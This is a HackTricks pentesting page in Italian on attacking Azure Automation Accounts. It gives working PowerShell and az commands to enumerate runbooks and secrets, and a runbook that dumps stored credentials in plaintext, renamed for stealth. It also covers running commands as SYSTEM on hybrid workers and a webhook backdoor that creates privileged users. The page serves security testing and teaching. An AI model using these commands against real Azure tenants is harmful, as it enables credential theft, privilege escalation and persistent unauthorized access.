Az - Automation Account

Supporta HackTricks

Informazioni di Base

Dalla documentazione: Azure Automation fornisce un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e servizio di configurazione che supporta una gestione coerente in tutti i tuoi ambienti Azure e non Azure. Include automazione dei processi, gestione della configurazione, gestione degli aggiornamenti, funzionalità condivise e funzionalità eterogenee.

Questi sono simili ai "compiti pianificati" in Azure che ti consentiranno di eseguire azioni (o anche script) per gestire, controllare e configurare l 'ambiente Azure.

Account Run As

Quando viene utilizzato l'Account Run as, crea un'applicazione Azure AD con certificato autofirmato, crea un service principal e assegna il ruolo Contributor per l'account nella sottoscrizione corrente (molti privilegi). Microsoft consiglia di utilizzare una Identità gestita per l'Account di Automazione.

Questo verrà rimosso il 30 settembre 2023 e sostituito con Identità gestite.

Runbooks & Jobs

I Runbooks ti consentono di eseguire codice PowerShell arbitrario. Questo potrebbe essere abusato da un attaccante per rubare le autorizzazioni del principale associato (se presente). Nel codice dei Runbooks potresti trovare anche informazioni sensibili (come credenziali).

Se puoi leggere i lavori, fallo poiché contengono l'output dell'esecuzione (informazioni potenzialmente sensibili).

Vai su Account di Automazione --> <Seleziona Account di Automazione> --> Runbooks/Lavori/Gruppi di worker ibridi/Compiti di controllo/credenziali/variabili/certificati/connessioni

Worker Ibrido

Un Runbook può essere eseguito in un contenitore all'interno di Azure o in un Worker Ibrido (macchina non-Azure). L'Agente Log Analytics viene distribuito sulla VM per registrarla come worker ibrido. I lavori del worker ibrido vengono eseguiti come SYSTEM su Windows e come account nxautomation su Linux. Ogni Worker Ibrido è registrato in un Gruppo di Worker Ibridi.

Pertanto, se puoi scegliere di eseguire un Runbook in un Worker Ibrido Windows, eseguirai comandi arbitrari all'interno di una macchina esterna come System (ottima tecnica di pivot).

Compromissione della Configurazione di Stato (SC)

Dalla documentazione: Azure Automation State Configuration è un servizio di gestione della configurazione Azure che ti consente di scrivere, gestire e compilare configurazioni di PowerShell Desired State Configuration (DSC) configurazioni per nodi in qualsiasi cloud o data center in locale. Il servizio importa anche Risorse DSC e assegna configurazioni ai nodi di destinazione, tutto nel cloud. Puoi accedere alla Configurazione di Stato di Automazione di Azure nel portale di Azure selezionando Configurazione di stato (DSC) sotto Gestione della configurazione.

Informazioni sensibili potrebbero essere trovate in queste configurazioni.

RCE

È possibile abusare di SC per eseguire script arbitrari nelle macchine gestite.

Az - State Configuration RCE

Enumerazione

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Creare un Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Estrarre Credenziali e Variabili definite in un Account di Automazione utilizzando un Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Potresti fare la stessa cosa modificando un Run Book esistente, direttamente dalla console web.

Passaggi per Configurare la Creazione Automatica di un Utente Altamente Privilegiato

1. Inizializzare un Account di Automazione

  • Azione Richiesta: Crea un nuovo Account di Automazione.

  • Impostazione Specifica: Assicurati che "Crea un account Azure Run As" sia abilitato.

2. Importare e Configurare il Runbook

  • Sorgente: Scarica il runbook di esempio dal Repository GitHub di MicroBurst.

  • Azioni Richieste:

  • Importa il runbook nell'Account di Automazione.

  • Pubblica il runbook per renderlo eseguibile.

  • Collega un webhook al runbook, abilitando i trigger esterni.

3. Configurare il Modulo AzureAD

  • Azione Richiesta: Aggiungi il modulo AzureAD all'Account di Automazione.

  • Passaggio Aggiuntivo: Assicurati che tutti i Moduli di Automazione di Azure siano aggiornati alla loro ultima versione.

4. Assegnazione dei Permessi

  • Ruoli da Assegnare:

  • Amministratore Utente

  • Proprietario della Sottoscrizione

  • Destinazione: Assegna questi ruoli all'Account di Automazione per i privilegi necessari.

5. Consapevolezza della Possibile Perdita di Accesso

  • Nota: Tieni presente che configurare tale automazione potrebbe portare alla perdita di controllo sulla sottoscrizione.

6. Attivare la Creazione dell'Utente

  • Attiva il webhook per creare un nuovo utente inviando una richiesta POST.

  • Utilizza lo script PowerShell fornito, assicurandoti di sostituire $uri con il tuo effettivo URL del webhook e aggiornando $AccountInfo con il nome utente e la password desiderati.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Riferimenti

Sostieni HackTricks

Last updated